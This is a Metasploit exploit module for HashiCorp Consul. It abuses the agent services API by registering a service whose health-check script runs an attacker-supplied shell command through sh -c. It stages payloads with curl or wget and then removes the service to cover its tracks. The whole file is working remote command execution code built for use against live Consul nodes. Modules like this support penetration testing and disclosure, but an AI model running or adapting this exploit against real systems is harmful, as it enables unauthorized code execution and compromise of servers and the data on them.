##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info={})
super(update_info(info,
'Name' => "Hashicorp Consul Remote Command Execution via Services API",
'Description' => %q{
This module exploits Hashicorp Consul's services API to gain remote command
execution on Consul nodes.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Bharadwaj Machiraju <bharadwaj.machiraju[at]gmail.com>', # Discovery and PoC
'Francis Alexander <helofrancis[at]gmail.com >', # Discovery and PoC
'Quentin Kaiser <kaiserquentin[at]gmail.com>' # Metasploit module
],
'References' =>
[
[ 'URL', 'https://www.consul.io/api/agent/service.html' ],
[ 'URL', 'https://github.com/torque59/Garfield' ]
],
'Platform' => 'linux',
'Targets' => [ [ 'Linux', {} ] ],
'Payload' => {},
'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf', 'curl', 'wget'],
'Privileged' => false,
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 11 2018'))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path', '/']),
OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]),
OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),
Opt::RPORT(8500)
])
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/v1/agent/self'),
'headers' => {
'X-Consul-Token' => datastore['ACL_TOKEN']
}
})
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end
unless res.code == 200
vprint_error 'Unexpected reply'
return CheckCode::Safe
end
agent_info = JSON.parse(res.body)
if agent_info["Config"]["EnableScriptChecks"] == true || agent_info["DebugConfig"]["EnableScriptChecks"] == true || agent_info["DebugConfig"]["EnableRemoteScriptChecks"] == true
return CheckCode::Vulnerable
end
CheckCode::Safe
rescue JSON::ParserError
vprint_error 'Failed to parse JSON output.'
return CheckCode::Unknown
end
def execute_command(cmd, opts = {})
uri = target_uri.path
service_name = Rex::Text.rand_text_alpha(5..10)
print_status("Creating service '#{service_name}'")
# NOTE: Timeout defines how much time the check script will run until
# getting killed. Arbitrarily set to one day for now.
res = send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(uri, 'v1/agent/service/register'),
'headers' => {
'X-Consul-Token' => datastore['ACL_TOKEN']
},
'ctype' => 'application/json',
'data' => {
:ID => "#{service_name}",
:Name => "#{service_name}",
:Address => "127.0.0.1",
:Port => 80,
:check => {
:script => "#{cmd}",
:Args => ["sh", "-c", "#{cmd}"],
:interval => "10s",
:Timeout => "86400s"
}
}.to_json
})
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, 'An error occured when contacting the Consul API.')
end
print_status("Service '#{service_name}' successfully created.")
print_status("Waiting for service '#{service_name}' script to trigger")
sleep(12)
print_status("Removing service '#{service_name}'")
res = send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(
uri,
"v1/agent/service/deregister/#{service_name}"
),
'headers' => {
'X-Consul-Token' => datastore['ACL_TOKEN']
}
})
if res && res.code != 200
fail_with(Failure::UnexpectedReply,
'An error occured when contacting the Consul API.'
)
end
end
def exploit
execute_cmdstager()
end
end
